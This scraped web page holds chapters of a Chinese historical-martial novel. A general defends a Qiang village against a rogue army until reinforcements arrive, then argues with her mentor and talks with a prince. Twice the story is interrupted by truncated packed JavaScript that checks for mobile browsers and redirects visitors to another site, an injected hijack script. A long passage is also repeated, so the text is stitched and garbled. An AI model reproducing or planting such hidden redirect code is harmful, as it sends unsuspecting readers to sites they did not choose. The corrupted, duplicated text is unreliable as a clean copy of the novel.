年轻男子神色倏然一变,俯身将他抱在怀中,刚碰到他身子,便摸了一手的殷红,登时倒吸一口凉气:“不要你来偏要来,不分场合地胡闹……现在伤这么重……唉,你叫我说你什么好?” 他下手轻如落雪,温柔地拍着程彧的头顶,释然落下一口气:“好在找到你了,别怕,咱们回家。” 程彧此刻已然迷糊得七窍生烟,耳中只隐约听到“回家”二字,抬了抬唇角:“回家……回家好,阿曾……带我回家。” 年轻男子眉头一紧,不动声色地捂上他的嘴,招呼侍卫道:“二公子伤得太重,我们快离开此地。” 28.血战 羌寨寨门外山涧,冲在最前的安宁军已被来势汹汹的羌人砍翻在地。 顾曾铁了心要让郭霄吃个教训,派人对他穷追不舍。郭霄仓皇逃窜,一脚绊倒,狠狠喝了两口泥水。 可惜,他福大命大,这种时候四脚并用,跑得比兔子还快,很快便被忠心护主的安宁军围在中间,再想活捉他怕是难了。 羌人毕竟占了先发制人的优势,待到安宁军重新修整,列好阵型,战局很快便被扭转。 安宁军举起长刀架起盾牌,阵型坚固,如一堵密不透风的墙,准备开始反攻。羌人一看架势不对,牢记顾曾的叮嘱,迅速散成一团,仓皇跑进了密林中。 “等等,先别追!”郭霄拦住前锋军,大骂道,“你们是不是傻?刚吃了这么大亏,也不动脑子想想,他们在林中怎么可能没有埋伏?” 他一双杀气腾腾的眼睛投向寨门口,做出了人生中第一个英明神武的决定:“给我集中火力往这匪寨里面打。” 顾曾远远看到安宁军调转了方向朝寨中攻来,沉声道:“先往后撤,叫左右翼看准时机,一旦他们前锋军进入山堑口,立刻掐断后路。” 云戈火急火燎地传令下去,回来时,却见顾曾捏着眉心倚在一块大石头上发怔。 她脸色苍白至极,云戈有些担心:“姐姐,你怎么了?” 顾曾冲他摆摆手,指了指自己的耳朵,扯出个心虚的笑容。 她方才突然开始耳鸣,眼前也花了起来。 满打满算,她已是足足快两天没合过眼了,适才靠着石头磨刀时,更是一阵没由来的心慌,险些一个失神掉进澜江里。 眼见她握刀的手开始不受控制地发抖,云戈正色道:“姐姐,去休息,我会在这里看着。” 顾曾暗忖,既然她的目标是活下去,若是提前把自己熬死了,那可就得不偿失了。 她望了眼下游,刚刚防住了郭霄的一轮攻势,如今双方正在偃旗息鼓,各自商讨用兵计谋。 她一向以不变应万变,现在的确可趁机稍加歇息,于是边走边嘱咐道:“我们的人太少,不可挑衅过度。若他们不主动出击,便不要去招惹他们。若郭霄死咬着不放,把他们往南寨引,那里山路更窄,也提前做了些许埋伏,必要的时候吓唬吓唬郭霄,他胆子小,未必就会穷追不舍。切记,我们的目标是拖延时间,只要能拖到扶苍军来,便万事大吉。” 云戈点点头。 顾曾:“两个时辰后叫醒我。” 她想了想,又补充道:“若有任何紧急情况,打也得把我打起来。” 云戈笑着点点头。 顾曾遂挑了个胖胖的稻草人,在寨门口的警哨处随意找了个空地,躺下就睡着了。 这一觉连梦都没来得及做,便被一个羌人大叔叫魂似的给吵醒了,顾曾抬头看了眼天,也就睡了一个时辰左右。 “发生了何事?”看到来人不是云戈,她便觉大事不妙。 羌人大叔一个字一个字往外蹦,连叫唤带比划地说:“挡,不住,了。” 她急忙奔到寨口去看,只见安宁军已然占据了南寨,寨口的天险失守,安宁军的大部队正在稳步向前推进,郭霄这孙子躲在最中间,抓了十几个人举着盾牌护着他,堪称固若金汤。 云戈正在和一个人高马大的战士血拼,他纤细的胳膊根本握不住刀,好几次都被人打得兵刃脱手,好在足够灵活,总能滑溜溜地擦着敌人的利剑而过,又狼狈地把窄刀捡回手中。 顾曾上前,一脚把那人踢到坡下,喝道:“所有人,先后退。” 羌人仓皇退回到北寨,安宁军于原地修整,顺势将南寨的屋舍洗劫一空。 照理说,大昭军纪森严,是决不允许洗劫百姓的,可他们在西南做土皇帝做习惯了,竟公然违纪。 顾曾清楚地记得,前两日来给她缝补裙子的人中间有位和蔼的大姐,她家就在南寨,如今已被一把火烧了个干净,而在刚刚撤退的路上,好似还看到了她丈夫的尸体。 顾将军自付这一生顶天立地,从未有过对不住谁的时候,可此刻,她觉得自己十分之没用,不说愧对列祖列宗之类的虚话了,她只觉对不住这位大姐,对不住南寨的所有人。 这份愧疚几乎令顾曾发疯,她要用力咬着舌尖才能勉强留住神智,问云戈:“怎么回事?怎么打成这样?怎么就剩这么点人了?” 她不过就睡了一个时辰,两千多的士兵便只剩不到一千还在活着喘气,南寨遍地都是尸首,澜江的马蹄口几乎变成了一滩血水。 云戈喘着粗气,浑身都在发抖:“右翼的阿文大哥,没忍住,偷袭了他们,然后……” 然后发生了什么顾曾已经可以猜到了——偷袭不成,却被安宁军包围,清剿了个干干净净。 顾曾没说话,可云戈从她失望的眼神中已读出了她的言外之意。 真要论起来,他其实比谁都要愧疚。虽然是阿文未听他的劝阻,但又的的确确是自己辜负了她的信任。 在此战之前,他不过就是个乡间野少年,空有当首领的心,真到要使唤人的时候却无人在意他的话。 他蓦然意识到,他需要变强,变得能被人听到,才能被人承认,才有资格担起首领,才能避免类似的悲剧再次重演。 顾曾将手落在他肩上拍了拍,权当安慰过了,而后捡起根树枝,在潮湿的土壤上圈圈画画,说道:“如今南寨失守,安宁军正忙着抢劫分赃。他们无端挑事,暴虐弑杀,事后定会封堵整个寨口,不会让任何一个活人跑出去。 “郭霄既然有如此打算,定然起了打长久战之心,耗也要把我们耗死在这。 “可我们不能轻易露底,一旦要他摸清了我们其实就是在打肿脸充胖子,安宁军定会全力攻来,北寨口没有天险,无处可避。 “从现在起,每一场小役都是关键,不管他放出多少人,都必须倾尽全力去战,如此才能要他投鼠忌器,不会贸然举大部队进攻。” 此时,斥候又匆匆来报:“神女大人,敌人在整兵,已经准备往北寨口进军了。” “你过来。”顾曾把云戈叫到自己面前,努了努嘴:“云戈将军,这次你来下令,我倒要看看谁敢不从。” 云戈颤巍巍地举起他那不起眼的窄刀,目光闪烁,喉间带着哭腔——不是那种小孩子玩闹时的哭腔,而是大人慷慨陈词英勇就义的那般——对着余下的残兵败将朗声道:“迦若云戈,问请天神阿爸,护佑我族。” 此一战,没有退路。 顾曾忧心忡忡望向深山:“程容与,全靠你了……” 乾安十五年五月初七,申时,羌人第一次于北寨口迎战安宁军,伤敌五百,自损二百,余下的不足千人。 当天夜晚,二更天,安宁军第二次来攻,规模不大,只放出了千余小兵,还没来得及偷袭便遇 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五月的西南,天气逐渐炎热,潮湿的瘴气给万物拢上层面纱,而面纱之下,两军正在殊死交战。 北寨口是必须要守住的,一旦扩大战线,安宁大军便会呈覆水难收之势,再难抵挡。 喊杀声震天撼地,响彻山涧。 不止是家园惨遭屠戮的羌人在愤怒,安宁军也在此烟瘴之地遭了许多天的罪,此役乃是最后一战,定要彻头彻尾地发泄完全。 没了强弩阵,安宁军又临时凑了一支弓弩队。他们将松球串到箭簇上,再将其点燃,不顾敌友的一通乱射。湿哒哒的枯叶碰到火光,燃不起燎天火焰,只有迅速弥漫了整个前线的滚滚黑烟。 一轮箭雨过后,安宁军的前锋如蝗虫般席卷而来,遇上了早已埋伏在此的羌人。白雾与黑烟交织,所有人杀成一团,一丈外难辨人影,只有凄厉的哀嚎声不绝于耳。 两方人从天亮打到了天黑,本该寂静的群山今日熙攘不休,尸横遍野。 戌时,天空又淅淅沥沥地下起了雨。 云戈身侧的一位大叔被敌人砍中,砰的一声倒在了他身旁。这大叔是南寨最好的厨子,腌制的腊肉是全寨一绝。 少年心如刀绞,眼睛一酸,痴愣愣落下两行清泪。 一柄长剑倏地袭来,擦着他胸口堪堪而过,他正要去挡,来人就被顾曾一脚踢飞开来。 “哭可以,但打仗时不许分心。”顾曾一声叱咤,又替他挡开了劈来的一把琅环大刀。 她仿佛在血海里打了个滚,全脸已被染得难辨五官,只余一双青白分明的眼,清亮至极。 顾曾右手持刀,左手握箭,一劈一戳,已经顾不得眼前人是有罪还是无辜。这一战,她毫无保留,几乎是神挡杀神佛挡杀佛。 没人比她更清楚,多日劳苦,所有人的精力差不多已到极限,若抵抗不住,今夜就是他们的死期。 其实于她而言,死不死的倒无所谓,她只是有点不甘心。 还未见四海平定、百姓富足安宁,还未见小姑、阿姐和姜旬得到朝廷应有的嘉奖,还未见潇潇姐和大风哥成亲,还未见云戈长成将军的模样,还未找回墨月,还未…… 她突然情不自禁地失笑一声。 ……还未剥了程容与那小子的皮。 她有点不甘心死。 29.神女刃(七) 顾曾只觉自己刀舞得愈来愈快,眼前血肉横飞,连她也分不清到底是砍了谁人的胳膊还是腿。 双拳难敌四手,云戈的胸口被人抡过一击,一阵剧痛蔓延,喉间顿时腥甜不已。 这要强少年此时终于克制不住,“哇”的一声呕出一口血来,反手一刺捅穿来人心窝,自己却头重脚轻,踉踉跄跄地靠在了顾曾的肩上。 他眼前血水氤氲,视野已逐渐模糊了,淡淡地笑了一声:“姐姐,他们不会来了,对么?” “不可能。”顾曾掷地有声,“这世上谁都可以不信,唯有宸王殿下,你不得不信。” 她把云戈交给几人护着,视线飞速扫过战场,终于在角落里一颗大树的阴影下寻到了悠然看戏的郭霄。 此人悄悄躲在几个护卫身后,时不时地拍手叫好。 顾曾不由得握紧了刀,冷冷道:“你们坚持住,我先去擒个人质。” 郭霄这孙子野心大,胆子却比耗子还小,自从前天差点被一箭爆头之后,就打定了主意要当缩头乌龟,绝不再冒头出现在人前。奈何今日战局实在令他得意,心痒难耐之下便偷偷摸摸地爬上来欣赏自己的出师大捷。 然后就被顾曾盯上了。 她几乎是像个鬼魅一般闪到了他的身侧,待到郭霄看清人影时,一旁的护卫已经接二连三地沦为了她的刀下亡魂。 郭霄想脚底抹油开跑,但顾曾浑身透着非同凡响的杀气,一旦将后背留给她,恐怕是要坏事。郭小侯爷破天荒地镇静下来,眯了眯眼,咬牙冷笑道:“前天就是你对本世子不敬?” 顾曾懒得同他废话,冲上前去一拳击中了他的鼻骨。 郭霄那自认俊朗的脸差点给她打毁,满脸鼻血横飞,涕泪横流。这心高气傲的少年也终于不堪折辱,“嗷”的一声怒喝,拔出一柄两个巴掌宽的金刀,虎虎生风地就向顾曾劈了过来,卷起的风沙于耳畔猎猎作响。 “小小侯爷,这才像点样子。”顾曾不遑多让,不怵也不退,横刀拦腰架住他金刀的一击,霎时迸溅出几颗四溢的火花。 郭霄仿佛被触到了逆鳞,火冒三丈,瞋目切齿道:“你叫谁小小侯爷,不会好好说话么?” 顾曾冷冷一笑:“你爹是侯爷,你哥是小侯爷,我叫你一声‘小小侯爷’已算是敬你了,真不知你是如何大言不惭地自称‘世子’的,脸皮也忒厚了。” 郭霄的脸上镀上一层青紫色:“郭翩那个混蛋早就被我爹撵出家门了,有什么资格自称是‘小侯爷’,这世子之位自然也是我的!” 他发出一声声嘶力竭的怒吼,咆哮着举起手中利器一阵毫无章法地劈砍。 顾曾蓦地飞起一脚,蹬住了他腰窝,手中横刀于背后轻轻一架,四两拨千斤似的化开他劈来的一刀,手腕一转,横刀脱手于空中诡异地转了小半圈,落下时已明晃晃地架在了郭霄的脖子上。 她虽然只打算吓唬吓唬他,可不代表她会温柔地吓唬。 顾曾手上一用力,郭霄的脖子上霎时便被她挫了老长一道刀口,嚎得比即将被杀的猪都要响亮三分。 “住手,住手,全住手!”郭霄撕心裂肺吼道,“你们再不停手是想看本世子死吗?” 在郭二几声响亮的命令中,安宁军投鼠忌器,终于逐渐退到一侧,而羌人也相互扶持着往后退开,身上几乎全挂了彩,有的人已然通体血肉模糊。 两军陷入了一阵诡异的寂静,唯有滔滔江水兀自奔流不休。 对峙之际,郭霄手下一个面生的年轻副将跳出人群,一句一顿寒声道:“这位姑娘,还请放开我家二公子,不然这位小公子的命……” 他倏地持弓对准了云戈,顾曾手上一抖,又割了郭霄一个口子。 “谢明叡,你个疯子!”郭霄叫得人一个脑袋两个大,“你是不是不拿本世子的命当回事?” “正是因为关心二公子,才出此下策。”那名为谢明叡的副将漠然看向顾曾,“下官看得出,这名少年对姑娘很重要,望姑娘下手前再三考虑。” 顾曾冷哼了一声,把郭霄的脖子又往前推了几厘,郭霄咆哮道:“疼疼疼,疼死我了!谢明叡你快停手!那小畜生的命能有本世子重要吗?!” 谢明叡抬了抬眼皮,全然将郭霄的话视作耳旁风,以彼之道还施彼身地射出一箭,箭尖直擦着云戈的眉心而过,齐刷刷地割断了他一层眉毛。 谢明叡:“姑娘,还不停手么?” 顾曾不动声色,实则早已被他吓出了一身冷汗,可是郭霄松不得,若松开他,在场所剩的这几百个残兵败将怕是一个都别想再活,而云戈…… 云戈的脸上丝毫未见惧色,对她笑笑:“姐姐,别顾忌我。” 顾曾心跳如雷,眼前天旋地转。她实则已经几乎握不住刀柄,此时此刻只想闭上双眼好好地睡一觉,只想让这场噩梦赶快结束。 他们当真……不会来了么? 倏地,有凛冽的呜呜然响起,清冽如冰,甘之如泉,激起群山鸦鸣——是她等待已久的扶苍军的号角音。 一支苍蓝的飞羽破空而来,笔直地落在众人面前,尾羽大动,后方赶来的大军脚步沉重,大地都跟着嗡鸣不止。 顾曾眼中复归一丝清明,松了口气:“来得还不算太迟。” 血战终结,噩梦也该醒了。 郭霄听到号角音后便神色大变,青筋暴涨,拳头握得死死的,奈何脖子架在别人刀上,半点都不敢乱动。 趁谢明叡分心之际,顾曾蓦地撤刀,一脚踏到郭霄后背,将他踢到谢明叡与云戈之间,而后飞扑而来,旋身一把抱住那少年,拼尽最后一丝力气带着他往后狂奔。 郭霄踉跄几步,捂着自己鲜血淋漓的脖子咆哮道:“谢明叡,还愣着干什么?给我射死她!!还有那个小孩,杀了他们!” 谢明叡下意识地便射出一箭,再后悔时已是覆水难收。 云戈被顾曾扛在肩上看得最清楚,那雪亮的箭光直奔她后心而来。 他想要架起窄刀替她抵挡,但身手迟滞,整个人都不听使唤,还未来得及端起武器,那箭锋已近在咫尺。 姐姐……就要这样死在他面前了。 电光火石间,一柄九齿琅环大刀从天而降,劈出一阵飞沙走石的气势,咣的一声直插入地,于这千钧一发之际横在了人与箭矢之间,生生止住了箭势。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15409893|165471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >谢明叡这才悄悄松下一口气,后背已被冷汗浸透。 郭霄瞠目欲裂,咬牙切齿喝道:“又是你坏我好事,郭、翩!!!” 下一刻,不远处有金翎乍现,扶苍军的郭翩将军手执长矛、戎装加身,骑着一匹黢黑的红鬃马飞驰而来。 他身形高大无比,生得棱角分明,剑眉入鬓,不怒自威,再加上他现在不怎么有耐心,脸上一阵阴晴不定,颇为低沉可怖。 他先是看了一眼谢明叡,蹙了蹙眉:“谢将军,怎么是你?” 也不待跪地的谢明叡作解释,他的视线又落在了自己那游手好闲的弟弟身上:“凌阁,你来作甚?” 郭霄并未正眼瞧他,阴恻恻冷笑道:“关你屁事。” 顾曾将云戈交给族人后,正愁无事可做,见郭霄仍然如此狂妄,左手倏地甩出一箭,逼得他急忙向身侧闪避,一句破口大骂还未成型,她人已至他身前,寒光闪闪的刀尖对准了他胸口。 郭翩以为她要痛下杀手,惊得不浅:“顾将军手下留情!” 虽然他弟弟是个混蛋,但他也没到想要大义灭亲的程度。 顾曾有恃无恐,存心要治一治郭霄的戾气,冷冷道:“我还以为这人是小侯爷你的兄弟才对他处处留情,可他如此六亲不认,想必是个冒牌货,我便只好不客气了。” 她手中一发力,刀尖平平向前推出,郭霄吓得连躲都忘记了,震声哀嚎道:“哥!大哥你快救我,这女的是个疯子,她要杀我!” 郭翩揉了揉眉心,无奈道:“顾将军,他的确是我胞弟,烦请高抬贵手。” 顾曾这才收了刀,却依旧环伺在郭霄身侧,一副随时要将他捅个对穿的架势。 郭翩居高临下望来:“回话,你在这做什么?” 郭霄终是被顾曾唬住了,不敢再出言不逊,不甘心地吞了口气:“我爹……咱爹……咳咳,郭侯爷听说这南边有蛮番作乱,担心宸王安危,特意让我带兵来看看,若能找到宸王殿下,便接他回去。” 他一番话说得滴水不漏,羌族如今与大昭交恶,躲在这深山老林里,还真叫这小子误打误撞遇上,倒让他的一切说辞都变得合理了起来。 顾曾后知后觉地冷静下来,于她而言,最理智的做法该是拿着舆图直截去接姜祐珣下山。可最理智并不代表那就是正确的,就算有重来的机会,她也绝不会让羌人成为双方争斗的牺牲品。 这山清水秀的羌寨不该沦为一片废墟,十余年前的惨剧也不该重现于眼前。 她爹当年走得早,没机会阻止安宁军,而今时今日她有机会、有能力完成她爹没做成的事,便如此去做了。若是阿爹还在,估计也会笑着摸摸她的头打趣:“哎哟咱们小隅儿怎么这么厉害,真是天生神武,爹爹都自愧不如。” 顾曾眼前一片模糊,好似当真看到了这一幕,不由得喃喃自语:“阿爹,你在看么……” 郭家二兄弟置气之余,花雨闲第二个赶到了。他上来便跳到顾曾身侧,上下打量了她几眼。 见她浑身是血,却没受什么大伤,便咄咄一声冷笑:“如今多管闲事都管到西南来了,不如同我说说,还有什么是你不敢做的?” 30.南柯梦(一) 郭翩揉了揉眉心,无奈道:“顾将军,他的确是我胞弟,烦请高抬贵手。” 顾曾这才收了刀,却依旧环伺在郭霄身侧,一副随时要将他捅个对穿的架势。 郭翩居高临下望来:“回话,你在这做什么?” 郭霄终是被顾曾唬住了,不敢再出言不逊,不甘心地吞了口气:“我爹……咱爹……咳咳,郭侯爷听说这南边有蛮番作乱,担心宸王安危,特意让我带兵来看看,若能找到宸王殿下,便接他回去。” 他一番话说得滴水不漏,羌族如今与大昭交恶,躲在这深山老林里,还真叫这小子误打误撞遇上,倒让他的一切说辞都变得合理了起来。 顾曾后知后觉地冷静下来,于她而言,最理智的做法该是拿着舆图直截去接姜祐珣下山。可最理智并不代表那就是正确的,就算有重来的机会,她也绝不会让羌人成为双方争斗的牺牲品。 这山清水秀的羌寨不该沦为一片废墟,十余年前的惨剧也不该重现于眼前。 她爹当年走得早,没机会阻止安宁军,而今时今日她有机会、有能力完成她爹没做成的事,便如此去做了。若是阿爹还在,估计也会笑着摸摸她的头打趣:“哎哟咱们小隅儿怎么这么厉害,真是天生神武,爹爹都自愧不如。” 顾曾眼前一片模糊,好似当真看到了这一幕,不由得喃喃自语:“阿爹,你在看么……” 郭家二兄弟置气之余,花雨闲第二个赶到了。他上来便跳到顾曾身侧,上下打量了她几眼。 见她浑身是血,却没受什么大伤,便咄咄一声冷笑:“如今多管闲事都管到西南来了,不如同我说说,还有什么是你不敢做的?” “敢问先生,我做错什么了么?”顾曾不爽地掀他一眼,径直走到一处小水洼,拿袖子蘸了水,湿哒哒地抹了把脸。 怎奈那血已经干在她脸上,这一擦直擦得她脸上红一块粉一块的,像个花妆的戏子。 花雨闲见她不知悔改,语气更寒:“你为何要管这些人?是不是一天不找事便心里不痛快?如今好了,你帮这些羌贼打安宁军,日后陛下定要追究,你是让殿下对你不管不顾还是想拉他一起下水?一股脑做事前动过您那该活动活动的脑子了么?” 顾曾心中明白他说得都对,这次的确是自己又任性了,也的确会让姜祐珣十分为难。 此事她对自己、对羌人、对列祖列宗问心无愧,但却对不住她最开始想要护着的宸王殿下。 她立在原地,叹了口气:“与殿下无关,要杀要剐,我一人担着。” “杀你?”花雨闲气得直发笑,“在郭侯眼里你是个什么了不得的人物么,也值得他杀?” 他声音一贯清越,如今尖酸刻薄起来,如两块正在打磨的破铜烂铁,铿锵又刺耳,哪怕说得在理也想让人揪住他衣襟往他脸上揍上几拳。 顾曾从小便是被骂着长大的,全然未当回事,倒是云戈在一旁听得憋了一肚子的气。 他自小在林中放养,每天无喜无忧,更不知愤怒为何,今日恶言入耳,直觉整个肺腑都要燃到爆开来,脸隐忍成了猪肝色,实在捱不住时怒喝一声:“住口!” 忙着教训自己徒弟的花雨闲吓了一跳,慢吞吞一笑:“哟,原来这小孩不是哑巴啊。” 云戈将双拳握得死死,一词一顿嘶哑道:“我原以为,姐姐的朋友都同她一样,是好人,直到见到你。你、你……冷血。” 他识字不多,也骂不出什么过激的词,“冷血”在他看来已如毒蛇一般惹人厌恶到极点了。 “怎么?”花雨闲挑眉嗤笑,“我不许她帮你们就是坏人了?” 他抽出把折扇狠命地扇着风,愈扇愈急,似是气得不浅:“你们羌人这些年偷袭的大昭将士还少么?动手的时候可曾想过有今日之事?若你们没与大昭交恶,阿曾救你们我不会多说什么,可你自己瞧瞧,你、还有你的族人把我家如花似玉的阿曾折腾成什么鬼德行了?!居然还有脸说我冷血,你们羌人也配么?” 云戈当场被打成个不声不响的闷葫芦,少年人那如火焰般荼毒一切的自尊心却隐隐作祟,直激得他青筋突突直跳,呼吸沉重,清秀的脸上布了一层呼之欲出的戾气。 顾曾也未料到,即便程二公子不在身旁,这世界也能鸡飞狗跳成这个样子! 花雨闲虽然往常也讨人嫌,但今日也不知怎么回事,说话难听了十倍不止,上蹿下跳,惹事生非,吵得人头昏脑胀。 明明顾曾最开始识得花雨闲时,他是个遗世独立的翩翩君子。 彼时的他对她日夜谆谆教诲:“君子处世,贫贱不能移,威武不能屈[1]……见弱必扶,遇暴必抗,不以强权折节,不为利害改操……穷则独善其身,达则兼善天下[2]……” 这些话,都是他呕心沥血一句一句对她重复了不知多少遍的。 若是那时的花雨闲还在,今时今日定会大笑着夸她做得好、做得痛快。也不知这些年他都经历了什么,总之是变得愈发不可理喻了。 道理这种东西在他这里仿佛并不能掰开了揉碎了你一口我一口地共享。 他将道理教给了顾曾,自己便弃之如敝履。 覆水难收,祸已经闯下,如何解决那只能之后再去想了。 顾曾打了个长长的呵欠,睁不开的眼皮没精打采地耷拉着,已是满眼星光。若是给个草席,她能当场把自己裹起来在里面睡上个三天三夜。 但说起来…… 她陡然一激灵,扯着脖子四处寻觅,却找了个空。 ……程容与呢? 花雨闲抬手将她的头扭正,啧了一声:“别找了,殿下在后面呢。” “我不是在……”顾曾正要否认,恍然一滞,心道,“是啊,真是奇了,我怎么总会想到他?” 后知后觉,她的心底竟有几分说不清的异样情绪涌出,也不知是那位程二公子身上有待挖掘的秘密太多,让她有些在意,还是她只是单纯地在意。 大昭第一实心木头顾曾想破脑袋也想不明白,就这样迷迷糊糊地丢了三魂七魄。 愣怔间,扶苍大军已缓缓逼近北寨山口。 黑压压的人影立在残兵之后,筑成了一道绵延的人墙。角音于此时戛然而止,披星戴月的扶苍军齐刷刷分立两侧,于人潮中分出一条狭窄的路,姜祐珣自后踏着月色而来。 数场恶战过后,宸王殿下肉眼可见的形销骨立,眸间覆满风霜,然而他身躯虽羸弱,立在那里却如一簇潇潇竹林,自有一番夺人心魄的神采。 安宁军中已有人被他气势所震慑,不自禁丢弃了手中刀剑,跪地请罪。 这一跪,便带动着身边人齐刷刷跪了一地。 扶苍军这把最利的刃如今只余三成不到,但能活到现在的,想必都是精兵中的佼佼者。 郭霄左右相顾,心知大势已去。他虽然狂妄、不可一世,但他不想找死,阴沉着脸躬身给姜祐珣行礼:“见过……” 姜祐珣睥睨道:“跪下。” 郭霄直眉楞眼:“我乃侯府世子,只跪陛下,你不过亲王之躯,如何……” “郭翩,”姜祐珣声色俱厉,“去打断他的腿。” 郭翩一愕,身上已起了层寒栗:“殿下……” 姜祐珣:“别让我亲自动手。” 郭翩硬着头皮说了声“是”,抄起剑鞘朝郭霄去了。 郭霄吓得开始说话不过脑子,上下嘴皮子打架:“姜祐珣你敢打我?本世子要你好看!回京之后陛下定会重罚你,你小人得志!你本就不是陛下的儿子,怎配做……郭翩你别过来,你别过来!!啊——哥,我错了,别打我别打我,大哥救命啊,宸王殿下我……啊——” 顾曾从来没见过这样骇人的姜祐珣。 他一向待人谦和有礼,重话都难说上几句,多少人赞颂他是贤王,今日他冷得像是刚从冰窟里钻出来,连呼出来的气都是凉飕飕的,想来当真愤怒到了极点。 郭翩揍人时,他令花雨闲安排撤兵,一切处置妥当后,面若寒霜望向顾曾,不苟言笑朝她走来。 顾曾教他看得出了一层冷汗,暗暗捏紧拳,做好了准备去面对宸王殿下的雷霆之怒。 姜祐珣踱至她身侧,倏地敛衽一笑,轻轻拍了拍她的肩:“小鬼,做得不错,这次辛苦你了。” 不痛不痒的一句话,顾曾却心底一酸,差点哭出来。 她还以为自己刀山火海闯这一趟要面对所有人的责备,还好,还好总有人初心不改、锐气尚在。 她从花雨闲那得到的失望于此刻戛然而止。 姜祐珣叹了口气,抬眼望向天际。眼前尸横遍野,这些身亡的羌人,还有云雾山上那么多死去的兵,与其说是死于战争,不如说是死于这场处心积虑针对他的陷害。 他眼眸莹润一瞬,这么多人皆因他而死,而他自己却苟活于世。 顾曾敏锐地瞧见他眼中的落寞,毕竟她也不是第一次见了,她爹在临死前也流露过相似的神情。 见她担忧,姜祐珣笑了笑:“你且放心,有我在,他们不敢动你。我活在这世上就算再没用,这点事情总还是做得到。” “不是的,不是这样的。”顾曾说不上来心里什么感受,只觉得他说得不对,下意识反驳道,“宸王殿下不仅要活着,而且要好好活着,长命百岁地活着。” 身在其位,就算不为自己而活,也当为肩上重担而活。 他若不在,西境三十六国的宵小便再无人震慑,军权里还算稳固的勾心斗角会霎时分崩离析,从雍川到阆州,千里江山将永无安宁之日。 顾曾叹了口气: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15427567|165471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “姜旬你可知,这些年来,所有人里,好人与坏人、死了的活着的,我最恨的是谁么?” 她没头没尾地问这么一句,姜祐珣思忖着笑道:“……不会是我罢?” 顾曾认真道:“你要是不活了,那就是你了。我活多久便恨你多久,叫你在地底下也不得安生。” “……”姜祐珣无奈一笑,“好罢,为了不让你如此恨我,同我说说吧,为何?” 顾曾:“我知道很没道理,但其实我长这么大,最恨我爹,恨他不管不顾、早早了却一生。他死了倒是落得清闲,双眼一闭再也不问烦忧,却留下一身的烂摊子要我们这些活着的给他收拾。 “别的不说,单说那些与他亲近之人,我小姑、过去的几位将军替他背负了多少骂名,又有多少追随他的人在他走之后被千刀万剐。 “多少具尸骨托举出的那些将军们,或死于权术,或流亡苟且于荒野,姓名终被遗忘。毕竟上将军傅昙都死了,别的人又有多少存在的必要呢? “可是殿下你看看,我爹他的死有什么用?这山河依旧破碎,他费尽心血缔造的和平早就不复存在,他若泉下有知会后悔么?可后悔又有什么用呢?他还是只能眼睁睁看着我们这些后辈再走一遍他的老路,白白付出那么多的血泪去做他当年未竟之事。 “人都死了,后悔又有什么用呢?” 虽然她现在年纪长了,见得多了,也恨不动了,但每每思及此处,还是不免怆然:阿爹天纵奇才,若是还在,这山河该会是何种模样?会天下太平么?会河晏海清么? 姜祐珣久久不言,顾曾与他并肩望着烽火缭绕的河山,轻叹道:“宸王殿下,若是你的话,你会后悔么?” 良久,姜祐珣浅笑一声,眉间神采复归:“‘后悔’二字于我而言太遥远了,我还年轻、轻易死不了。将来的事么,说不准,若真有不容我活的那一日,那就先那帮老东西送走再坦然赴死,想来也此生无憾。” 其实不消他的允诺,他的眼神也给出了答案。他与她皆为一个宿命而活,千难万险挫不尽也败不了的满身锋芒,唯青山可埋。 安宁军先行往山涧外撤,扶苍军的大部队押解其后,防止双腿被打断的郭霄又发失心疯作死。 顾曾又偷偷寻摸了好一阵,仍没看到那家伙,终于按捺不住问道:“姜旬,二公子呢?” 她问的自然不是郭霄这个郭二公子,姜祐珣抬了抬眉还没应声,花雨闲便讶异道:“原来你方才是在问程容与?楚人大军压境,他不是早就下山去了么?” 程彧和她下了山是不假,但是依他二人的意思,他们自云雾山一别后也没见过程彧,难不成这家伙根本就没回去? “姜旬!”顾曾脸色一变,不安道,“我让程二去给你们送舆图,如今他没回来,定是遇到了危险,我得去救他。” 花雨闲饶有兴致地冷笑一声:“救他?你什么时候那么关心他一个‘外人’了?” 顾曾神色不变,端出一副大义凛然的神态:“他怎么说也算是西南之事的一个人证,有他在,朝堂对峙郭侯的胜算便大了一分。” 花雨闲嗤了一声:“可笑,程家与郭家世代至交,你觉得他会帮我们?” 顾曾:“他会。” “你凭什么觉得他会?” “他就是会。” “我看你是失心疯了。” “你才疯了。” “是你疯了。” “花先生,她可算你半个小辈,还是少说两句吧。”姜祐珣听不下去了,笑着劝架,“容与侠义心肠,若有危难,我们自是不能坐视不理。阿曾莫急,你让他送的舆图可是这个?” 他从怀间取出一张暗黄的羊皮卷,正是长老亲手交给顾曾的那份蝴蝶谷舆图。 顾曾眼前一亮:“姜旬你见到程容与了?” 姜祐珣却连连摇头,忖度着道:“击溃楚人前锋军后,我和翩翩与花先生会合,在密林中受困大半日,寻路无果,幸好得人襄助,可是来送舆图之人并非程二公子,而是陛下身边的千牛卫。” 顾曾眼瞳微颤,半响没说出话来。 姜祐珣补充道:“那唐侍卫我认识,常侍奉陛下左右,功夫还不错。” 顾曾:“他没多说什么?” 姜祐珣笑了笑:“唐大人说,我再不拿下楚人,陛下就要气得削我的爵了。” “……”顾曾也低头一笑,不怎么舒心地松下一口气。 